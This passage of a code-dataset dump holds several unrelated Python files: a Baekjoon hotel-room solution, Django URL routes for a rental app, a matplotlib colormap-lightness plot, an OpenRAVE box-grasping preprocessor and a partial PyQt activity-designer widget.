batch_num)\n saver.save(sess, 'logs_lm/model_%d' % (epochs + add_num))\n writer.close()\n","repo_name":"ky1994/SpeechRecognition","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4493,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"24"}
+{"seq_id":"39984459106","text":"t = int(input())\nfor _ in range(t):\n h, w, n = map(int, input().split())\n # 순서와 층에 맞도록 a,b 계산\n a = n % h\n b = (n // h) + 1\n # n이 h의 배수일 경우 a는 0이 되므로 h로 바꿔주고 b는 하나가 넘어가버리니까 1을 빼줌\n if a == 0:\n a = h\n b -= 1\n # b가 1자리수 일 경우 a와 b 사이에 0을 넣어줌 (범위가 99까지이므로 2자리 경우까지만 고려해주면 됨)\n if len(str(b)) > 1:\n print(str(a) + str(b))\n else:\n print(str(a) + '0' + str(b))","repo_name":"brandonccccc/python-practice","sub_path":"백준/복습_bunggin12/7.기본수학1/10250_ACM호텔.py","file_name":"10250_ACM호텔.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"26021118161","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n # path('realtor-houses', views.RealtorRegisteredHouses.as_view()),\n path('all-houses', views.Houses),\n path('realtor-houses', views.RealtorRegisteredHouses.as_view()),\n path('rentBill', views.payRent),\n path('rent/', views.rent),\n path('bill/', views.bill),\n path('myBill', views.MyBill.as_view()),\n path('bills', views.checkBills.as_view()),\n path('total-bills', views.TotalBills),\n path('realtor-total-bills', views.TotalRealtorBills),\n\n path('houses', views.listHouse),\n \n path('house/', views.house),\n path('house/delete/', views.house),\n path('house/update/', views.house),\n path('images', views.images),\n\n path('house', views.checkHouse.as_view()),\n\n]","repo_name":"konin84/houseagent","sub_path":"house/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"14398429780","text":"'''\nFor each colormap, plot the lightness parameter L* from CIELAB colorspace \nalong the y axis vs index through the colormap. Colormaps are examined in \ncategories as in the original matplotlib gallery of colormaps.\n'''\n\nimport colorconv as color\n#from skimage import color\n# we are using a local copy of colorconv from scikit-image to reduce dependencies. \n# You should probably use the one from scikit-image in most cases. \nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\nimport matplotlib as mpl\n\nmpl.rcParams.update({'font.size': 14})\nmpl.rcParams['font.sans-serif'] = 'Arev Sans, Bitstream Vera Sans, Lucida Grande, Verdana, Geneva, Lucid, Helvetica, Avant Garde, sans-serif'\nmpl.rcParams['mathtext.fontset'] = 'custom'\nmpl.rcParams['mathtext.cal'] = 'cursive'\nmpl.rcParams['mathtext.rm'] = 'sans'\nmpl.rcParams['mathtext.tt'] = 'monospace'\nmpl.rcParams['mathtext.it'] = 'sans:italic'\nmpl.rcParams['mathtext.bf'] = 'sans:bold'\nmpl.rcParams['mathtext.sf'] = 'sans'\nmpl.rcParams['mathtext.fallback_to_cm'] = 'True'\n\n# Have colormaps separated into categories: http://matplotlib.org/examples/color/colormaps_reference.html\n\ncmaps = [('Sequential', ['Blues', 'BuGn', 'BuPu',\n 'GnBu', 'Greens', 'Greys', 'Oranges', 'OrRd',\n 'PuBu', 'PuBuGn', 'PuRd', 'Purples', 'RdPu',\n 'Reds', 'YlGn', 'YlGnBu', 'YlOrBr', 'YlOrRd']),\n ('Sequential (2)', ['afmhot', 'autumn', 'bone', 'cool', 'copper',\n 'gist_heat', 'gray', 'hot', 'pink',\n 'spring', 'summer', 'winter']),\n ('Diverging', ['BrBG', 'bwr', 'coolwarm', 'PiYG', 'PRGn', 'PuOr',\n 'RdBu', 'RdGy', 'RdYlBu', 'RdYlGn', 'Spectral',\n 'seismic']),\n ('Qualitative', ['Accent', 'Dark2', 'Paired', 'Pastel1',\n 'Pastel2', 'Set1', 'Set2', 'Set3']),\n ('Miscellaneous', ['gist_earth', 'terrain', 'ocean', 'gist_stern',\n 'brg', 'CMRmap', 'cubehelix',\n 'gnuplot', 'gnuplot2', 'gist_ncar',\n 'nipy_spectral', 'jet', 'rainbow',\n 'gist_rainbow', 'hsv', 'flag', 'prism'])]\n\n# indices to step through colormap\nx = np.linspace(0.0, 1.0, 100)\n\n# Do plot\nfor cmap_category, cmap_list in cmaps:\n\n # Do subplots so that colormaps have enough space. 5 per subplot?\n dsub = 5 # number of colormaps per subplot\n if cmap_category == 'Diverging': # because has 12 colormaps\n dsub = 6\n elif cmap_category == 'Sequential (2)':\n dsub = 6\n elif cmap_category == 'Sequential':\n dsub = 7\n nsubplots = int(np.ceil(len(cmap_list)/float(dsub)))\n\n fig = plt.figure(figsize=(11.5,4*nsubplots))\n\n for i, subplot in enumerate(range(nsubplots)):\n\n locs = [] # locations for text labels\n\n ax = fig.add_subplot(nsubplots, 1, i+1)\n # pdb.set_trace()\n\n for j, cmap in enumerate(cmap_list[i*dsub:(i+1)*dsub]):\n\n # Get rgb values for colormap\n rgb = cm.get_cmap(cmap)(x)[np.newaxis,:,:3]\n\n # Get colormap in CIE LAB. We want the L here.\n lab = color.rgb2lab(rgb)\n\n # Plot colormap L values\n # Do separately for each category so each plot can be pretty\n # to make scatter markers change color along plot: http://stackoverflow.com/questions/8202605/matplotlib-scatterplot-colour-as-a-function-of-a-third-variable\n if cmap_category=='Sequential':\n dc = 0.6 # spacing between colormaps\n ax.scatter(x+j*dc, lab[0,::-1,0], c=x, cmap=cmap + '_r', s=300, linewidths=0.)\n if i==2:\n ax.axis([-0.1,4.1,0,100])\n else:\n ax.axis([-0.1,4.7,0,100])\n locs.append(x[-1]+j*dc) # store locations for colormap labels\n\n elif cmap_category=='Sequential (2)':\n dc = 1.15\n ax.scatter(x+j*dc, lab[0,:,0], c=x, cmap=cmap, s=300, linewidths=0.)\n ax.axis([-0.1,7.0,0,100])\n locs.append(x[-1]+j*dc) # store locations for colormap labels\n\n elif cmap_category=='Diverging':\n dc = 1.2\n ax.scatter(x+j*dc, lab[0,:,0], c=x, cmap=cmap, s=300, linewidths=0.)\n ax.axis([-0.1,7.1,0,100])\n locs.append(x[int(x.size/2.)]+j*dc) # store locations for colormap labels\n\n elif cmap_category=='Qualitative':\n dc = 1.3\n ax.scatter(x+j*dc, lab[0,:,0], c=x, cmap=cmap, s=300, linewidths=0.)\n ax.axis([-0.1,6.3,0,100])\n locs.append(x[int(x.size/2.)]+j*dc) # store locations for colormap labels\n\n elif cmap_category=='Miscellaneous':\n dc = 1.25\n ax.scatter(x+j*dc, lab[0,:,0], c=x, cmap=cmap, s=300, linewidths=0.)\n ax.axis([-0.1,6.1,0,100])\n locs.append(x[int(x.size/2.)]+j*dc) # store locations for colormap labels\n\n # Set up labels for colormaps\n ax.xaxis.set_ticks_position('top')\n ticker = mpl.ticker.FixedLocator(locs)\n ax.xaxis.set_major_locator(ticker)\n formatter = mpl.ticker.FixedFormatter(cmap_list[i*dsub:(i+1)*dsub])\n ax.xaxis.set_major_formatter(formatter)\n labels = ax.get_xticklabels()\n for label in labels:\n label.set_rotation(60)\n\n ax.set_xlabel(cmap_category + ' colormaps', fontsize=22)\n fig.text(-0.005, 0.55, 'Lightness $L^*$', fontsize=18, transform=fig.transFigure, rotation=90)\n\n fig.tight_layout(h_pad=0.05)\n plt.show()\n","repo_name":"truongkma/ctf-tools","sub_path":"matplotlib-master/doc/users/plotting/colormaps/lightness.py","file_name":"lightness.py","file_ext":"py","file_size_in_byte":5769,"program_lang":"python","lang":"en","doc_type":"code","stars":666,"dataset":"github-code","pt":"24"}
+{"seq_id":"23897535501","text":"import openravepy as orpy\nfrom Grasp import *\nimport numpy as np\nimport copy\nfrom scipy.spatial import ConvexHull\nimport Utils\n\nX = np.array([1., 0., 0.])\nY = np.array([0., 1., 0.])\nZ = np.array([0., 0., 1.])\n\nimport pkg_resources\ngripper_aabb = pkg_resources.resource_string\\\n('pymanip', 'utils/gripper_aabb.xml')\n\n## assume that all parts are boxes\n\ndef PlacementPreprocess(manip_object, COM = None):\n nparts = len(manip_object.GetLinks())\n\n with manip_object:\n manip_object.SetTransform(np.eye(4))\n if COM is None:\n ## COM and total mass \n COM = 0\n M = 0\n for l in manip_object.GetLinks():\n m = l.GetMass()\n M += m\n COM += m*l.GetGlobalCOM()\n COM /= M\n\n ## Relative transformation between the object's frame and the first\n ## link's frame (the object's frame)\n ## The origin of the object's frame is set to be at the COM.\n ## The rotation is set to be the same as the first link's frame.\n TCOM = np.eye(4)\n TCOM[0][3] = COM[0]\n TCOM[1][3] = COM[1]\n TCOM[2][3] = COM[2]\n TCOMinv = np.linalg.inv(TCOM)\n \n pointsets = []\n extents = []\n\n manip_object.SetTransform(TCOMinv)\n for i in range(nparts):\n l = manip_object.GetLinks()[i]\n extent = l.GetGeometries()[0].GetBoxExtents()\n extent = np.around(extent, decimals = 6)\n extents.append(extent)\n\n com = l.GetGlobalCOM()\n [dx, dy, dz] = extent\n \n X = l.GetTransform()[0:3, 0]\n Y = l.GetTransform()[0:3, 1]\n Z = l.GetTransform()[0:3, 2]\n \n ## extreme points of the part\n pointset = [com + dx*X + dy*Y + dz*Z,\n com + dx*X + dy*Y - dz*Z,\n com + dx*X - dy*Y + dz*Z,\n com + dx*X - dy*Y - dz*Z,\n com - dx*X + dy*Y + dz*Z,\n com - dx*X + dy*Y - dz*Z,\n com - dx*X - dy*Y + dz*Z,\n com - dx*X - dy*Y - dz*Z]\n pointsets += pointset\n\n hull = ConvexHull(pointsets, qhull_options = 'E0.001')\n\n ## temp contains equations describing surfaces.\n ## each equation is in the form av + b = 0\n ## however, there is redundancy in temp. \n ## we need to remove duplicate equations\n temp = hull.equations.tolist()\n\n E = []\n for i in xrange(len(temp)):\n similar = False\n for e in E:\n if np.allclose(temp[i], e):\n similar = True\n break\n if not similar:\n E.append(temp[i])\n E = np.asarray(E)\n E = np.around(E, decimals = 6) \n nsurfaces = len(E)\n\n ## Av + b <= 0 for v in the polyhedron\n A = np.array(E[0:nsurfaces, 0:3])\n b = np.array(E[0:nsurfaces, 3])\n\n S = []\n S.append(TCOM)\n ## S[i] is the relative transformation between the surface's\n ## coordinate and the object's cooredinate\n ## except S[0] which is TCOM\n\n ## NOTE: S contains only the surfaces that can be contact surfaces,\n ## i.e., the surfaces that p lies inside.\n for i in range(nsurfaces):\n z = np.array(A[i]) ## surface normal\n d = -np.array(b[i]) ## surface offset\n p = d*z ## surface's frame origin\n if (not np.all(np.around(np.dot(A, p) + b, decimals = 6) <= 0)):\n ## p lies outside the polygon\n # print \"surface {0} is an invalid contact surface\".format(i)\n continue\n\n ## x-axis\n x = PerpendicularTo(z)\n ## y-axis\n y = np.cross(z, x) \n ## each column of R is the axis described in the object's frame\n R = np.vstack((x, y, z)).T\n # p = np.dot(TCOM, np.append(p, 1))[0:3]\n p = np.reshape(p, (3, 1))\n T = np.vstack((np.hstack((R, p)), np.array([0., 0., 0., 1.])))\n S.append(T)\n\n return S\n\n\ndef PerpendicularTo(v):\n \"\"\" Finds an arbitrary perpendicular vector to *v*.\"\"\"\n # for two vectors (x, y, z) and (a, b, c) to be perpendicular,\n # the following equation has to be fulfilled\n # 0 = ax + by + cz\n if (not (len(v) == 3)):\n raise ValueError('dimension not compatible') \n \n # x = y = z = 0 is not an acceptable solution\n if v[0] == v[1] == v[2] == 0:\n raise ValueError('zero-vector')\n\n # If one dimension is zero, this can be solved by setting that to\n # non-zero and the others to zero. Example: (4, 2, 0) lies in the\n # x-y-Plane, so (0, 0, 1) is orthogonal to the plane.\n if v[0] == 0:\n return np.array([1., 0., 0.])\n if v[1] == 0:\n return np.array([0., 1., 0.])\n if v[2] == 0:\n return np.array([0., 0., 1.])\n\n # arbitrarily set a = b = 1\n # then the equation simplifies to\n # c = -(x + y)/z\n c = -(v[0] + v[1])/float(v[2])\n d = 1./np.sqrt(2 + abs(c)**2)\n return np.array([d, d, d*c])\n\n\nclass BoxInfo(object):\n DMAX = 0.0425 ## max width that the gripper can grip\n GRIPPEROFFSET = 0.08\n L = 0.35 #0.320592 (gripper length)\n\n def __init__(self, manip_object, linkindex):\n self.objectname = manip_object.GetName()\n self.linkindex = linkindex\n\n self.env = orpy.Environment()\n Clone_Bodies = 1\n self.env.Clone(manip_object.GetEnv(), Clone_Bodies)\n\n self.collisionchecker = orpy.RaveCreateCollisionChecker(self.env, 'ode')\n self.env.SetCollisionChecker(self.collisionchecker)\n \n ## remove all other body\n for kinbody in self.env.GetBodies():\n if not (kinbody.GetName() == self.objectname):\n self.env.Remove(kinbody)\n assert(len(self.env.GetBodies()) == 1)\n\n self.object = self.env.GetKinBody(self.objectname)\n self.link = self.object.GetLinks()[self.linkindex]\n\n ## load the gripper\n self.gripper = self.env.ReadKinBodyXMLData(gripper_aabb)\n self.env.Add(self.gripper)\n \n ## create a floor for testing\n floor = orpy.RaveCreateKinBody(self.env, '')\n floor.InitFromBoxes(np.array([[0.0, 0.0, 0.0, 10.0, 10.0, 0.05]]))\n for geom in floor.GetLinks()[0].GetGeometries():\n geom.SetDiffuseColor(np.array([0.6, 0.6, 0.6]))\n floor.SetName('floor')\n self.env.Add(floor)\n Tfloor = np.eye(4)\n Tfloor[2][3] -= 0.050001\n floor.SetTransform(Tfloor)\n \n self.extents = self.link.GetGeometries()[0].GetBoxExtents()\n self.possibleapproachingdir = dict() # each entry depends on a contact surface\n self.possibleslidingdir = dict() # each entry depends on an approaching dir\n self.intervals = dict()\n \n\n def GetPossibleSlidingDirections(self):\n \"\"\"\n GetPossibleSlidingDirections returns a set containing possible\n sliding direction of the gripper for each case of approaching\n directions.\n \n return value: lib \n \n lib[approachingdir] is a set of possible sliding direction given\n the 'approachingdir'.\n \"\"\"\n objx = self.extents[0]\n objy = self.extents[1]\n objz = self.extents[2]\n\n ## approaching direction is +X (and -X)\n temp = []\n if (objz < self.DMAX):\n temp.append(pY)\n if (objy < self.DMAX):\n temp.append(pZ)\n elif (objy < self.DMAX):\n temp.append(pZ)\n self.possibleslidingdir[pX] = temp\n self.possibleslidingdir[mX] = temp\n\n ## approaching direction is +Y (and -Y)\n temp = []\n if (objz < self.DMAX):\n temp.append(pX)\n if (objx < self.DMAX):\n temp.append(pZ)\n elif (objx < self.DMAX):\n temp.append(pZ)\n self.possibleslidingdir[pY] = temp\n self.possibleslidingdir[mY] = temp\n\n ## approaching direction is +Z (and -Z)\n temp = []\n if (objy < self.DMAX):\n temp.append(pX)\n if (objx < self.DMAX):\n temp.append(pY)\n elif (objx < self.DMAX):\n temp.append(pY)\n self.possibleslidingdir[pZ] = temp\n self.possibleslidingdir[mZ] = temp\n\n\n def Preprocess(self, transformationset):\n \"\"\"\n Preprocess examines valid approaching directions for each\n object's transformation. Also for each pair of approaching\n direction and sliding direction Preprocess examines the\n sliding range.\n\n transformationset contains every object's transformation T\n that results in stable configurations.\n \"\"\"\n \n nsurfaces = len(transformationset)\n for isurface in xrange(nsurfaces):\n self.object.SetTransform(transformationset[isurface])\n \n plink = self.link.GetGlobalCOM()\n Tlink = self.link.GetTransform()\n\n xvect = np.reshape(copy.copy(Tlink[0:3, pX]), (3, ))\n yvect = np.reshape(copy.copy(Tlink[0:3, pY]), (3, ))\n zvect = np.reshape(copy.copy(Tlink[0:3, pZ]), (3, ))\n \n ## for each object's contact surface check all six\n ## surfaces of the box\n self.possibleapproachingdir[isurface] = []\n for appdir in [pX, pY, pZ, mX, mY, mZ]:\n ## for each approachingdirection \n \n appvector = np.reshape(copy.copy(Tlink[0:3, np.mod(appdir, 3)]), (3, )) \n # approaching vector\n if (appdir > 2):\n appvector *= -1\n\n aZ = np.dot(appvector, Z)\n \n ########## CHECK I\n ## check if the approached surface is in contact\n if np.allclose(aZ, 1):\n ## the approaching direction is aligned with Z\n if (plink[2] - self.extents[np.mod(appdir, 3)] < self.L):\n ## this approacing direction is invalid.\n ## continue to the next direction.\n continue\n \n ########## CHECK II\n ## check if the approached surface is perpendicular to the floor\n elif np.allclose(aZ, 0):\n ax = np.dot(appvector, xvect)\n if (np.allclose(ax, 1) or np.allclose(-ax, 1)):\n ## approaching direction is x or -x\n yZ = np.dot(yvect, Z)\n zZ = np.dot(zvect, Z)\n if (np.allclose(yZ, 1) or np.allclose(-yZ, 1)):\n ## the local y is parallel to Z\n if (plink[2] + self.extents[1] < self.GRIPPEROFFSET):\n ## this approacing direction is invalid.\n ## continue to the next direction.\n continue\n elif (np.allclose(zZ, 1) or np.allclose(-zZ, 1)):\n ## the local z is parallel to Z\n if (plink[2] + self.extents[2] < self.GRIPPEROFFSET):\n ## this approacing direction is invalid.\n ## continue to the next direction.\n continue\n ay = np.dot(appvector, yvect)\n if (np.allclose(ay, 1) or np.allclose(-ay, 1)):\n ## approaching direction is y or -y\n xZ = np.dot(xvect, Z)\n zZ = np.dot(zvect, Z)\n if (np.allclose(xZ, 1) or np.allclose(-xZ, 1)):\n ## the local y is parallel to Z\n if (plink[2] + self.extents[0] < self.GRIPPEROFFSET):\n ## this approacing direction is invalid.\n ## continue to the next direction.\n continue\n elif (np.allclose(zZ, 1) or np.allclose(-zZ, 1)):\n ## the local z is parallel to Z\n if (plink[2] + self.extents[2] < self.GRIPPEROFFSET):\n ## this approacing direction is invalid.\n ## continue to the next direction.\n continue\n az = np.dot(appvector, zvect)\n if (np.allclose(az, 1) or np.allclose(-az, 1)):\n ## approaching direction is x or -x\n xZ = np.dot(xvect, Z)\n yZ = np.dot(yvect, Z)\n if (np.allclose(xZ, 1) or np.allclose(-xZ, 1)):\n ## the local x is parallel to Z\n if (plink[2] + self.extents[0] < self.GRIPPEROFFSET):\n ## this approacing direction is invalid.\n ## continue to the next direction.\n continue\n elif (np.allclose(yZ, 1) or np.allclose(-yZ, 1)):\n ## the local y is parallel to Z\n if (plink[2] + self.extents[1] < self.GRIPPEROFFSET):\n ## this approacing direction is invalid.\n ## continue to the next direction.\n continue\n\n ########## CHECK III\n elif (aZ > 0):\n normalvector = -1.0*appvector # normal vector to the surface\n k1 = PerpendicularTo(normalvector)\n k2 = np.cross(normalvector, k1)\n \n ## normal vector is pointing to the floor\n theta = np.pi/2 - np.arccos(aZ)\n tantheta = np.tan(theta)\n \n if (np.allclose(np.dot(k1, Z), 0)):\n ## k1 is parallel to the floor\n k2x = np.dot(k2, xvect)\n if (np.allclose(k2x, 1) or np.allclose(-k2x, 1)):\n ## k2 is parallel to the local x\n D = 2*self.extents[0]/tantheta\n if D < self.L:\n continue\n k2y = np.dot(k2, yvect)\n if (np.allclose(k2y, 1) or np.allclose(-k2y, 1)):\n ## k2 is parallel to the local y\n D = 2*self.extents[1]/tantheta\n if D < self.L:\n continue\n k2z = np.dot(k2, zvect)\n if (np.allclose(k2z, 1) or np.allclose(-k2z, 1)):\n ## k2 is parallel to the local z\n D = 2*self.extents[2]/tantheta\n if D < self.L:\n continue\n elif (np.allclose(np.dot(k2, Z), 0)):\n ## k1 is parallel to the floor\n k1x = np.dot(k1, xvect)\n if (np.allclose(k1x, 1) or np.allclose(-k1x, 1)):\n ## k1 is parallel to the local x\n D = 2*self.extents[0]/tantheta\n if D < self.L:\n continue\n k1y = np.dot(k1, yvect)\n if (np.allclose(k1y, 1) or np.allclose(-k1y, 1)):\n ## k1 is parallel to the local y\n D = 2*self.extents[1]/tantheta\n if D < self.L:\n continue\n k1z = np.dot(k1, zvect)\n if (np.allclose(k1z, 1) or np.allclose(-k1z, 1)):\n ## k1 is parallel to the local z\n D = 2*self.extents[2]/tantheta\n if D < self.L:\n continue\n \n ## this approaching direction passes the three tests\n ## it is now a candidate for obtaining sliding ranges\n \"\"\"\n interval = [interval_1, interval_2, ..., interval_n]\n interval_i = (start, length)\n \"\"\"\n \n possibleslidingdir = self.possibleslidingdir[appdir]\n validapproachingdir = False\n\n if len(possibleslidingdir) == 2:\n slidingdir1 = possibleslidingdir[0]\n interval1 = self.ObtainSlidingRanges(Tlink, appdir, \n slidingdir1, case = 2)\n if len(interval1) > 0:\n self.intervals[isurface, appdir, slidingdir1] = interval1\n validapproachingdir = True\n \n slidingdir2 = possibleslidingdir[1]\n interval2 = self.ObtainSlidingRanges(Tlink, appdir, \n slidingdir2, case = 2)\n if len(interval2) > 0:\n self.intervals[isurface, appdir, slidingdir2] = interval2\n validapproachingdir = True\n \n elif len(possibleslidingdir) == 1:\n slidingdir = possibleslidingdir[0]\n interval = self.ObtainSlidingRanges(Tlink, appdir, slidingdir)\n if len(interval) > 0:\n self.intervals[isurface, appdir, slidingdir] = interval\n validapproachingdir = True\n\n if not validapproachingdir:\n continue\n \n self.possibleapproachingdir[isurface].append(appdir)\n \n\n \n def ObtainSlidingRanges(self, Tobj, approachingdir, slidingdir, case = 1):\n ## assume that the object is already in place \n d = self.extents[np.mod(slidingdir, 3)]\n step = 0.04 ## each step along the sliding direction is 4 cm.\n Tstep = np.eye(4)\n\n qgrasp = [approachingdir, slidingdir, 0.0]\n ## Tgripper places the gripper at the middle of the object\n Tgripper = Utils.ComputeTGripper(Tobj, qgrasp, self.extents)\n\n interval = []\n\n if case == 2:\n self.gripper.SetTransform(Tgripper)\n if not (self.env.CheckCollision(self.gripper)):\n interval = [(0, 0)]\n\n elif case == 1: \n domain = np.linspace(-d, d, int(2*d/step) + 1)\n Tstep[0][3] = domain[0]\n self.gripper.SetTransform(np.dot(Tgripper, Tstep))\n if (self.env.CheckCollision(self.gripper)):\n prev_in_collision = True\n else:\n prev_in_collision = False\n prevstart = domain[0]\n\n for i in xrange(1, len(domain)):\n Tstep[0][3] = domain[i]\n self.gripper.SetTransform(np.dot(Tgripper, Tstep))\n if (self.env.CheckCollision(self.gripper)):\n if prev_in_collision:\n prevstart = domain[i]\n else:\n if np.allclose(domain[i - 1], prevstart):\n ## this interavl contains only one number\n ## but we relax it by assinging length =\n ## 0.02 (half a step) so that when we\n ## sample this interval later, the prob of\n ## obtaining a number here is not zero\n interval.append((prevstart, 0.02))\n else:\n interval.append((prevstart, domain[i - 1] - prevstart))\n prevstart = domain[i]\n prev_in_collision = True\n else:\n if (prev_in_collision):\n prev_in_collision = False\n prevstart = domain[i]\n \n\n if not np.allclose(domain[-1], prevstart):\n interval.append((prevstart, domain[-1] - prevstart))\n \n return np.around(interval, decimals = 6).tolist()\n\n","repo_name":"Puttichai/pymanip","sub_path":"pymanip/utils/ObjectPreprocessing.py","file_name":"ObjectPreprocessing.py","file_ext":"py","file_size_in_byte":20505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"40921192249","text":"'''\r\n Version: Apache License Version 2.0\r\n \r\n The contents of this file are subject to the Apache License Version 2.0 ; \r\n you may not use this file except in\r\n compliance with the License. You may obtain a copy of the License at\r\n http://www.apache.org/licenses/\r\n \r\n Software distributed under the License is distributed on an \"AS IS\"\r\n basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the\r\n License for the specific language governing rights and limitations\r\n under the License.\r\n \r\n The Original Code is ABI Comfort Simulator\r\n \r\n The Initial Developer of the Original Code is University of Auckland,\r\n Auckland, New Zealand.\r\n Copyright (C) 2007-2018 by the University of Auckland.\r\n All Rights Reserved.\r\n \r\n Contributor(s): Jagir R. Hussan\r\n \r\n Alternatively, the contents of this file may be used under the terms of\r\n either the GNU General Public License Version 2 or later (the \"GPL\"), or\r\n the GNU Lesser General Public License Version 2.1 or later (the \"LGPL\"),\r\n in which case the provisions of the GPL or the LGPL are applicable instead\r\n of those above. If you wish to allow use of your version of this file only\r\n under the terms of either the GPL or the LGPL, and not to allow others to\r\n use your version of this file under the terms of the MPL, indicate your\r\n decision by deleting the provisions above and replace them with the notice\r\n and other provisions required by the GPL or the LGPL. If you do not delete\r\n the provisions above, a recipient may use your version of this file under\r\n the terms of any one of the MPL, the GPL or the LGPL.\r\n \r\n \"2019\"\r\n '''\r\n\r\nfrom __future__ import unicode_literals,print_function\r\n#Ensure we use pyqt api 2 and consistency across python 2 and 3\r\nimport sip\r\n\r\nAPI_NAMES = [\"QDate\", \"QDateTime\", \"QString\", \"QTextStream\", \"QTime\", \"QUrl\", \"QVariant\"]\r\nAPI_VERSION = 2\r\nfor name in API_NAMES:\r\n sip.setapi(name, API_VERSION)\r\n\r\nimport sys\r\nfrom PyQt5 import QtWidgets,QtCore, uic\r\nfrom PyQt5.QtGui import QColor, QPixmap, QIcon\r\nimport pyqtgraph as pg\r\nimport numpy as np\r\nimport os\r\nimport json\r\nfrom PyQt5.Qt import pyqtSignal, QMessageBox, QFileDialog, QApplication\r\n\r\ntry:\r\n _encoding = QApplication.UnicodeUTF8\r\n def _translate(context, text, disambig):\r\n return QApplication.translate(context, text, disambig, _encoding)\r\nexcept AttributeError:\r\n def _translate(context, text, disambig):\r\n return QApplication.translate(context, text, disambig)\r\n\r\ndef tr(msg):\r\n return _translate(\"ActivityWizard\", msg, None)\r\n\r\ndir_path = os.path.dirname(os.path.realpath(sys.argv[0]))\r\nif not hasattr(sys, 'frozen'): #For py2exe\r\n dir_path = os.path.join(dir_path,\"..\")\r\n\r\nclass DummyCache(object):\r\n \r\n def __init__(self):\r\n pass\r\n \r\n def get(self,dx,default):\r\n return default\r\n \r\n def set(self,dx,val):\r\n pass\r\n\r\nclass FloatDelegate(QtWidgets.QItemDelegate):\r\n def __init__(self, parent=None,decimals=3):\r\n QtWidgets.QItemDelegate.__init__(self, parent=parent)\r\n self.nDecimals = decimals\r\n\r\n def paint(self, painter, option, index):\r\n value = index.model().data(index, QtCore.Qt.EditRole)\r\n try:\r\n val = float(value) \r\n painter.drawText(option.rect, QtCore.Qt.AlignVCenter, \"{:.{}f}\".format(val, self.nDecimals))\r\n except :\r\n painter.drawText(option.rect, QtCore.Qt.AlignVCenter, 'NaN')\r\n\r\n\r\nuiFile = os.path.join(dir_path,\"./uifiles/activitydesignerv2.ui\")\r\n\r\nform,base = uic.loadUiType(uiFile)\r\n\r\nclass ActivityDefinitionWidget(base, form):\r\n currentActivityId = -1\r\n numberOfActivities = 0\r\n activities = dict()\r\n #Send a signal with the filename when an activity is saved.\r\n dataSaved = pyqtSignal(object)\r\n modifyingTable = False\r\n hite = ['description','duration','rh','Tab','velocityOfAir','metabolicActivity','clothingFile','radiationFluxFile']\r\n \r\n def __init__(self,title='Activity Definition',parent=None):\r\n super(base,self).__init__(parent)\r\n #Setup colors\r\n graphColors = [18,4,12,11,10,8,9,7] #Based on Qt.GlobalColor\r\n #Create color objects\r\n self.graphColors = [QColor(QtCore.Qt.GlobalColor(x)) for x in graphColors]\r\n #Map control names to color indexes\r\n self.cindexMap = {'a18Color':0,'b18Color':1,'c18Color':2,'d18Color':3,'e18Color':4,'f18Color':5,'g18Color':6,'h18Color':7}\r\n #Setup the ui\r\n self.setupUi(self)\r\n addFile = os.path.join(dir_path,\"./uifiles/images/add.png\")\r\n self.addActivity.setIcon(QIcon(addFile))\r\n self.deleteActivity.setIcon(self.style().standardIcon(QtWidgets.QStyle.SP_DialogCloseButton))\r\n self.moveUpButton.setIcon(self.style().standardIcon(QtWidgets.QStyle.SP_ArrowUp))\r\n self.moveDownButton.setIcon(self.style().standardIcon(QtWidgets.QStyle.SP_ArrowDown))\r\n \r\n headers = list(map(tr,['Description','Duration (min)','RH %','Temp','Vel. of Air (m/s)','Met','Clothing File','Radiation File']))\r\n self.activityTable.setColumnCount(len(headers))\r\n self.activityTable.setHorizontalHeaderLabels(headers)\r\n self.activityTable.horizontalHeader().setSectionResizeMode(0, QtWidgets.QHeaderView.Stretch)\r\n self.activityTable.horizontalHeader().resizeSection(0,65)\r\n self.activityTable.horizontalHeader().resizeSection(1,95)\r\n for i in range(2,6):\r\n self.activityTable.horizontalHeader().resizeSection(i,65)\r\n self.activityTable.setItemDelegateForColumn(i,FloatDelegate(self))\r\n self.activityTable.horizontalHeader().resizeSection(4,95)\r\n self.setObjectName('ActivityWizard')\r\n #Create the plots for individual electrode selection\r\n self.createSignalPlots()\r\n \r\n #Established signals and slot maps\r\n self._setConnections()\r\n self.setWindowTitle(tr(title))\r\n self.deleteActivity.setDisabled(True)\r\n self.saveActivityButton.setDisabled(True)\r\n self.retranslateUi(self)\r\n \r\n #To not cause QTimer error at close\r\n self.setAttribute(QtCore.Qt.WA_DeleteOnClose)\r\n self.cache = DummyCache()\r\n self.activityName.setText(tr(\"Unnamed\"))\r\n self.setWindowTitle(tr(title))\r\n self.activityTable.cellDoubleClicked.connect(self.activityTableDoubleClicked)\r\n self.activityTable.itemChanged.connect(self.updateCurrentActivity)\r\n\r\n def loadingClothingFileName(self):\r\n direc = self.cache.get('LASTSUCCESSFULWORKSPACE',default='.')\r\n filename = QFileDialog.getOpenFileName(None, tr('Load Clothing Description file'),direc,\"JSON (*.json)\")\r\n if not filename is None and len(filename[0].strip())>0:\r\n #self.clothingFile.setText(os.path.abspath(filename[0]))\r\n self.activityTable.setItem(self.currentActivityId,6,QtWidgets.QTableWidgetItem(os.path.abspath(filename[0])))\r\n\r\n def loadingRadiationFileName(self):\r\n direc = self.cache.get('LASTSUCCESSFULWORKSPACE',default='.')\r\n filename = QFileDialog.getOpenFileName(None, tr('Load Radiation Description file'),direc,\"JSON (*.json)\")\r\n if not filename is None and len(filename[0].strip())>0:\r\n #self.radiationFluxFile.setText(os.path.abspath(filename[0]))\r\n self.activityTable.setItem(self.currentActivityId,7,QtWidgets.QTableWidgetItem(os.path.abspath(filename[0])))\r\n\r\n def setCache(self,cache):\r\n self.cache = cache\r\n\r\n def refreshGraph(self):\r\n numActivities = len(self.activities)\r\n if 'activityname' in self.activities:\r\n numActivities -=1\r\n timeValues = np.zeros(numActivities+1)\r\n temps = np.zeros(numActivities+1)\r\n mets = np.zeros(numActivities+1)\r\n rh = 